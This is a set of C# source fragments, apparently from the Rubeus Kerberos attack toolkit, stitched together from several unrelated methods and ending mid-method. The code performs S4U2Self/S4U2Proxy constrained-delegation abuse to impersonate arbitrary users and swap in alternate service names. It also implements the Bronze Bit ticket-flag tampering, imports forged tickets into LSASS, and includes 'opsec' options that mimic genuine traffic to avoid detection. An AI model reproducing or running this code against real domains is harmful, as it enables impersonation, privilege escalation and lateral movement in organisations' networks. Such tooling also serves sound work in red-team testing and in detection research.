public PA_DATA(string keyString, Interop.KERB_ETYPE etype)
{
// include pac, supply enc timestamp
type = Interop.PADATA_TYPE.ENC_TIMESTAMP;
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
value = new EncryptedData((int)etype,
Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP,
Helpers.StringToByteArray(keyString),
new PA_ENC_TS_ENC().Encode().Encode()));
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (21)
AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// enc-part [3] EncryptedData -- EncKrbPrivPart
AsnElt enc_partAsn = enc_part.Encode();
// etype
AsnElt etypeAsn = AsnElt.MakeInteger((int)etype);
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
// now encrypt the enc_part (EncKrbPrivPart)
// KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode());
AsnElt blob = AsnElt.MakeBlob(encBytes);
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq });
encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2);
// all the components
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 });
// tag the final total ([APPLICATION 21])
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final);
return(final);
}
public AsnElt Encode()
{
// authenticator [4] EncryptedData
if (null == key)
{
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
return(null);
}
// create the EncryptedData structure to hold the authenticator bytes
EncryptedData authenticatorEncryptedData = new EncryptedData()
{
etype = (int)enctype,
cipher = Crypto.KerberosEncrypt(enctype, keyUsage, key,
authenticator.Encode().Encode())
};
// AP-REQ ::= [APPLICATION 14]
// put it all together and tag it with 14
return(AsnElt.MakeImplicit(AsnElt.APPLICATION, 14,
AsnElt.MakeSequence(
AsnElt.MakeSequence(
// pvno [0] INTEGER (5)
AsnElt.MakeImplicit(AsnElt.CONTEXT, 0,
AsnElt.MakeSequence(AsnElt.MakeInteger(pvno))),
// msg-type [1] INTEGER (14)
AsnElt.MakeImplicit(AsnElt.CONTEXT, 1,
AsnElt.MakeSequence(AsnElt.MakeInteger(msg_type))),
// ap-options [2] APOptions
AsnElt.MakeImplicit(AsnElt.CONTEXT, 2,
AsnElt.MakeSequence(AsnElt.MakeBitString(BitConverter.GetBytes(ap_options)))),
// ticket [3] Ticket
AsnElt.MakeImplicit(AsnElt.CONTEXT, 3,
AsnElt.MakeSequence(ticket.Encode())),
AsnElt.MakeImplicit(AsnElt.CONTEXT, 4,
AsnElt.MakeSequence(authenticatorEncryptedData.Encode()))
))));
}
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false)
{
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
if (altSnames.Length == 1)
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
}
else
{
Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService);
}
}
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec);
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[parts.Length - 1];
s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
foreach (string part in parts)
{
s4u2proxyReq.req_body.sname.name_string.Add(part);
}
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
// add in the ticket from the S4U2self response
s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]);
// needed for authenticator checksum
byte[] cksum_Bytes = null;
// the rest of the opsec changes
if (opsec)
{
// remove renewableok and add canonicalize
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
// 15 minutes in the future like genuine requests
DateTime till = DateTime.Now;
till = till.AddMinutes(15);
s4u2proxyReq.req_body.till = till;
// extra etypes
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
// get hostname and hostname of SPN
string hostName = Dns.GetHostName().ToUpper();
string targetHostName;
if (parts.Length > 1)
{
targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
}
else
{
targetHostName = hostName;
}
// create enc-authorization-data if target host is not the local machine
if (hostName != targetHostName)
{
// authdata requires key and etype from tgs
byte[] tgsKey = tgs.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype;
ADIfRelevant ifrelevant = new ADIfRelevant();
ADRestrictionEntry restrictions = new ADRestrictionEntry();
ADKerbLocal kerbLocal = new ADKerbLocal();
ifrelevant.ADData.Add(restrictions);
ifrelevant.ADData.Add(kerbLocal);
AsnElt authDataSeq = ifrelevant.Encode();
authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
byte[] authorizationDataBytes = authDataSeq.Encode();
byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes);
s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data);
}
// encode req_body for authenticator cksum
AsnElt req_Body_ASN = s4u2proxyReq.req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
}
// moved to end so we can have the checksum in the authenticator
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);
s4u2proxyReq.padata.Add(padata);
PA_DATA pac_options = new PA_DATA(false, false, false, true);
s4u2proxyReq.padata.Add(pac_options);
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
byte[] response2 = null;
if (String.IsNullOrEmpty(proxyUrl))
{
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return;
}
Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP);
response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
}
else
{
Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl);
KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes);
message.target_domain = domain;
response2 = Networking.MakeProxyRequest(proxyUrl, message);
}
if (response2 == null)
{
return;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response2, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2proxy success!");
// parse the response to an TGS-REP
TGS_REP rep2 = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
if (!String.IsNullOrEmpty(altService))
{
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
}
}
else
{
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
private static KRB_CRED S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", bool self = false, bool opsec = false, bool bronzebit = false, string keyString = "", Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial, string proxyUrl = null, string createnetonly = null, bool show = false)
{
// extract out the info needed for the TGS-REQ/S4U2Self execution
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain);
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser, false, false, opsec);
byte[] response = null;
if (String.IsNullOrEmpty(proxyUrl))
{
string dcIP = Networking.GetDCIP(domainController);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
Console.WriteLine("[*] Sending S4U2self request to {0}:88", dcIP);
response = Networking.SendBytes(dcIP, 88, tgsBytes);
}
else
{
Console.WriteLine("[*] Sending S4U2self request via KDC proxy: {0}", proxyUrl);
KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(tgsBytes);
message.target_domain = domain;
response = Networking.MakeProxyRequest(proxyUrl, message);
}
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
Console.WriteLine("[+] S4U2self success!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want to use this s4u2self ticket for authentication, change the sname
if (!String.IsNullOrEmpty(altService) && self)
{
rep.ticket.sname.name_string[0] = altService.Split('/')[0];
rep.ticket.sname.name_string.Add(altService.Split('/')[1]);
}
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
if (bronzebit && !String.IsNullOrEmpty(keyString))
{
Console.WriteLine("[*] Bronze Bit flag passed, flipping forwardable flag on. Original flags: {0}", info.flags);
info.flags |= Interop.TicketFlags.forwardable;
// get user longterm key from keyString
byte[] key = Helpers.StringToByteArray(keyString);
// decrypt and decode ticket encpart
var decTicketPart = rep.ticket.Decrypt(key, null, true);
// modify flags
decTicketPart.flags |= Interop.TicketFlags.forwardable;
// encode and encrypt ticket encpart
byte[] encTicketData = decTicketPart.Encode().Encode();
byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)rep.ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData);
rep.ticket.enc_part = new EncryptedData(rep.ticket.enc_part.etype, encTicketPart, rep.ticket.enc_part.kvno);
Console.WriteLine("[*] Flags changed to: {0}", info.flags);
}
// add the ticket
cred.tickets.Add(rep.ticket);
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// if we want to use the s4u2self change the sname here too
if (!String.IsNullOrEmpty(altService) && self)
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_string[0] = altService.Split('/')[0];
info.sname.name_string.Add(altService.Split('/')[1]);
}
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
Console.WriteLine("");
if (!String.IsNullOrEmpty(outfile))
{
string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}";
filename = Helpers.MakeValidFileName(filename);
if (Helpers.WriteBytesToFile(filename, kirbiBytes))
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
}
}
if (ptt && self)
{
// pass-the-ticket -> import into LSASS
ImportTicket(kirbiBytes, createnetonly, show);
}
return(cred);
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false)
{
TGS_REQ req = new TGS_REQ(!opsec);
if (!opsec)
{
// set the username
req.req_body.cname.name_string.Add(userName);
}
// get domain from service for cross domain requests
// if not requesting a cross domain TGT (krbtgt)
string targetDomain = "";
string[] parts = sname.Split('/');
if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt"))
{
targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1);
}
else
{
targetDomain = domain;
}
// the realm (domain) the user exists in
req.req_body.realm = targetDomain.ToUpper();
// add in our encryption types
if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
{
// normal behavior
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
//req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
}
// real traffic have these etypes except when requesting a TGT, then only
else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt"))
{
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
}
else
{
// add in the supported etype specified
req.req_body.etypes.Add(requestEType);
}
if (!String.IsNullOrEmpty(s4uUser))
{
// constrained delegation yo'
req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL;
req.req_body.sname.name_string.Add(userName);
if (!opsec)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
}
if (opsec)
{
req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
}
}
else
{
if (enterprise)
{
// KRB_NT-ENTERPRISE = 10
// userPrincipalName
// sAMAccountName
// sAMAccountName@DomainNetBIOSName
// sAMAccountName@DomainFQDN
// DomainNetBIOSName\sAMAccountName
// DomainFQDN\sAMAccountName
req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE;
req.req_body.sname.name_string.Add(sname);
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
}
else if (parts.Length == 1)
{
// KRB_NT_SRV_INST = 2
// service and other unique instance (e.g. krbtgt)
req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
req.req_body.sname.name_string.Add(sname);
req.req_body.sname.name_string.Add(domain);
}
else if (parts.Length == 2)
{
// KRB_NT_SRV_INST = 2
// SPN (sname/server.domain.com)
req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
req.req_body.sname.name_string.Add(parts[0]);
req.req_body.sname.name_string.Add(parts[1]);
}
else if (parts.Length == 3)
{
// KRB_NT_SRV_HST = 3
// SPN (sname/server.domain.com/blah)
req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST;
req.req_body.sname.name_string.Add(parts[0]);
req.req_body.sname.name_string.Add(parts[1]);
req.req_body.sname.name_string.Add(parts[2]);
}
else
{
Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
}
}
if (renew)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
}
// needed for authenticator checksum
byte[] cksum_Bytes = null;
// opsec complete the request body before the creation of the AP-REQ
if (opsec)
{
// set correct flags based on type of request
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
if (!unconstrained)
{
req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
}
if (unconstrained)
{
req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED;
}
// get hostname and hostname of SPN
string hostName = Dns.GetHostName().ToUpper();
string targetHostName;
if (parts.Length > 1)
{
targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
}
else
{
targetHostName = hostName;
}
// create enc-authorization-data if target host is not the local machine
if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained))
{
List <AuthorizationData> tmp = new List <AuthorizationData>();
AuthorizationData restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS);
AuthorizationData kerbLocal = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL);
tmp.Add(restrictions);
tmp.Add(kerbLocal);
AuthorizationData authorizationData = new AuthorizationData(tmp);
byte[] authorizationDataBytes = authorizationData.Encode().Encode();
byte[] enc_authorization_data = Crypto.KerberosEncrypt(requestEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes);
req.req_body.enc_authorization_data = new EncryptedData((Int32)requestEType, enc_authorization_data);
}
// S4U requests have a till time of 15 minutes in the future
if (!String.IsNullOrEmpty(s4uUser))
{
DateTime till = DateTime.Now;
till = till.AddMinutes(15);
req.req_body.till = till;
}
// encode req_body for authenticator cksum
AsnElt req_Body_ASN = req.req_body.Encode();
AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
}
// create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes);
req.padata.Add(padata);
// moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when
// forming opsec requests as they require a checksum of the request body within the authenticator and the
// PADATA-TGS-REQ should go before the other PA-DATA sections
if (opsec && (!String.IsNullOrEmpty(s4uUser)))
{
// real packets seem to lowercase the domain in these 2 PA_DATA's
domain = domain.ToLower();
// PA_S4U_X509_USER commented out until we get the checksum working
//PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce);
//req.padata.Add(s4upadata);
}
// add final S4U PA-DATA
if (!String.IsNullOrEmpty(s4uUser))
{
// constrained delegation yo'
PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain);
req.padata.Add(s4upadata);
}
else if (opsec)
{
PA_DATA padataoptions = new PA_DATA(false, true, false, false);
req.padata.Add(padataoptions);
}
return(req.Encode().Encode());
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoASN = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { pvnoASN });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (14)
AsnElt msg_typeASN = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { msg_typeASN });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// ap-options [2] APOptions
byte[] ap_optionsBytes = BitConverter.GetBytes(ap_options);
AsnElt ap_optionsASN = AsnElt.MakeBitString(ap_optionsBytes);
AsnElt ap_optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ap_optionsASN });
ap_optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ap_optionsSeq);
// ticket [3] Ticket
AsnElt ticketASN = ticket.Encode();
AsnElt ticktSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { ticketASN });
ticktSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, ticktSeq);
// authenticator [4] EncryptedData
if (key == null)
{
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
return(null);
}
byte[] authenticatorBytes = authenticator.Encode().Encode();
byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes);
// create the EncryptedData structure to hold the authenticator bytes
EncryptedData authenticatorEncryptedData = new EncryptedData();
authenticatorEncryptedData.etype = (int)enctype;
authenticatorEncryptedData.cipher = encBytes;
AsnElt authenticatorEncryptedDataASN = authenticatorEncryptedData.Encode();
